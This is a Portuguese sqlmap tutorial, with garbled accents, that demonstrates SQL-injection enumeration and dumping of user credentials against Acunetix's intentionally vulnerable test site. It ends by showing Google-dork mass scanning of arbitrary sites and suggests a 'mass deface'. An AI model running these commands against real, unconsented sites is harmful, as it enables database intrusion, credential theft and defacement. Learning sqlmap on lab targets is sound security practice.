Vous êtes sur la page 1sur 10

SqlMap uma ferramenta de teste de penetrao de cdigo aberto que

automatiza o processo de deteco e explorao de falhas de injeo


SQL. Com essa ferramenta possvel assumir total controle de
servidores de banco de dados em pginas web vulnerveis, inclusive
de base de dados fora do sistema invadido. Ele possui um motor de
deteco poderoso, empregando as ltimas e mais devastadoras
tcnicas de teste de penetrao por SQL Injection, que permite acessar
a base de dados, o sistema de arquivos subjacente e executar
comandos no sistema operacional.

Primeiramente, voc ter precisar baixar o SQLMap, voc pode


encontrar ele no site oficial: sqlmap.org

Se voc esta usando Windows, instale o Python, voc pode baixar no


site oficialpython.org, no linux muito provavelmente ja vem junto. E
se voc estiver utilizando o Kali Linux, voc no precisa baixar
nenhum desses, os dois ja vem junto.

Opes
Vamos agora comear a brincadeira, para se obter o menu do sqlmap
usamos o comando:

sqlmap -h

Lembrar de dar permisso de execuo, ou executar python sqlmap.py


-h

Ser mostrado um menu com vrias opes, no primeiro esboo desse


tpico at tentei descrever todas mas vi que iria ficar muito confuso o
entendimento dessa forma, ento resolvi colocar os comandos e
descrever o que cada parmetro faz. Quando voc estiver explorando
alguma vulnerabilidade, entenda que o sqlmap tenta fazer tudo
automaticamente, mas quanto mais informaes forem fornecidas
maiores as chances de sucesso, outro fator importante antes de
comearmos que voc tem que saber o que requisitar ao sqlmap, pra
isso vou colocar algumas palavras que sero mostradas com
frequncia que so essenciais conhecer o signifcado.

Enumerate: Listar,enumerar.
Dump: Descarregar, no nosso caso seria mais apropriado "Extrair"
DBMS: "Database Management System", sistema gerenciador de
banco de dados.

Estou usando o site de testes da acunetix, podem usar sem


preocupao esse site do exemplo porque ele foi feito para esse tipo de
teste.

Vamos comear com um comando simples e importante, vamos


descobrir qual tipo e verso do banco de dados determinado site est
usando.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -b

-u: A url do alvo.


-b: Pega o banner do DBMS.
Sqli um tipo de ataque que a cada etapa vamos obtendo mais
informaes, agora que sabemos a verso e o tipo de banco de dados,
vamos obter o nome do banco de dados atual, isso , o banco de dados
que est sendo usado no site alvo.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --current-db

--current-db: Mostra o banco de dados atual.


Pode ser que existam mais bancos de dados, ento vamos verificar.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs

--dbs: Lista os bancos de dados do DBMS.


Agora vamos comear a entrar mais na toca, temos o banco de dados
atual, ento vamos listar as tabelas.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart


--tables

-u: Url do alvo.


-D: Banco de dados alvo.
--tables: Lista as tabelas.

Vamos prestar ateno a esses comandos, --tables lista as tabelas, se


voc j sabe o banco de dados alvo, importante especificar, se esse
comando fosse dado sem usar o -D o sqlmap iria listar todas as tabelas
de todos os bancos de dados.
Vamos supor que voc ache que tem algo interessante na tabela users,
hora de listar as colunas.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T


users --columns

-u: URL Alvo.


-D: Banco de dados alvo.
-T: Tabela alvo.
--columns: Listar colunas.
Ateno, no esperem esse comando ser concludo, esse site feito para testes,
ento tem muita informao desnecessria nessas colunas

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T


users -C 'uname,pass' --dump
-u: URL alvo.
-D: Banco de dados alvo.
-T: Tabela do Alvo.
-C: Colunas do alvo
--dump: Extrair informaes.

Isso o bsico dos comandos, vou mostrar agora alguns comandos


adicionais.

Excluir do ataque o banco de dados do sistema. Sempre que voc ver


que o sqlmap est fazendo consultas ao banco de dados
information_schema, voc pode se desejar acrescentar --exclude-
sysdbs, que vai fazer o sqlmap no fazer queries a esse banco.

--proxy: Ativa o uso de proxy.


sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs
--proxy=http://173.203.80.108:80

Extrair tudo de todas as tabelas.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart


--tables --dump-all

Usando uma string para tornar o Blind SQL Injection mais eficiente. O
teste mais comum para saber se uma url vulnervel a blind SQLI
verificar se o contedo muda aps uma query maliciosa, fornecer uma
palavra que existe na pgina ajuda o sqlmap a fazer um teste mais
eficiente.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --current-db


--string "shore"

Selecionando o parmetro a ser testado. Voc pode se deparar com


uma pgina com vrios parmetros a serem testados, por exemplo

index.php?option=com_jcars&view=browse&start=15&li
mit=5&sort=brand&updn=ASC&filter?id=12

Acho que isso o bsico para um comeo, o sqlmap tem bem mais
funoes interessantes, sugiro pesquisar sobre as opes --prefix,
--postfix e opes de takeover.

Facilitando pesquisa de
vulnrebilidade - Testando varios
sites
Aqui voc pode ver como explorar esse recurso:
sqlmap -g site:testphp.vulnweb.com --dbs -v 2

Com essas opes acima vamos ter o resultado das pesquisas + teste
de sqlinjection no link + listagem de dbs do site + verbose nvl 2.

Agora voc pode implementar essas tcnicas com outros parmetros, a


seguir mostro alguns:

sqlmap -g site:testphp.vulnweb.com --gpage=3 --dbs -v 2

Isto puxar os resultados da terceira pgina do Google.

Podemos tambm usar inurl: para procurar . Por exemplo:

sqlmap -g inurl:index.php?id= --dbs -v 2

Este mtodo faz varredura de todas as index.php?id = no Google a


partir de ordem de listagem na primeira pgina do Google.

Pode usar no final da linha o comando --beep para alertar com um


som o site vulnervel, assim pode ir tomar caf deixar rodando.

O "--page-rank" para pegar o ranking de pginas dos resultados.

Com esses simples comandos voc pode at fazer um mass deface


testando vrias pginas do google.

Como vocs podem ver, o Sqlmap uma ferramenta MUITO rica


assim como nmap e outras que temos no mercado do pentest.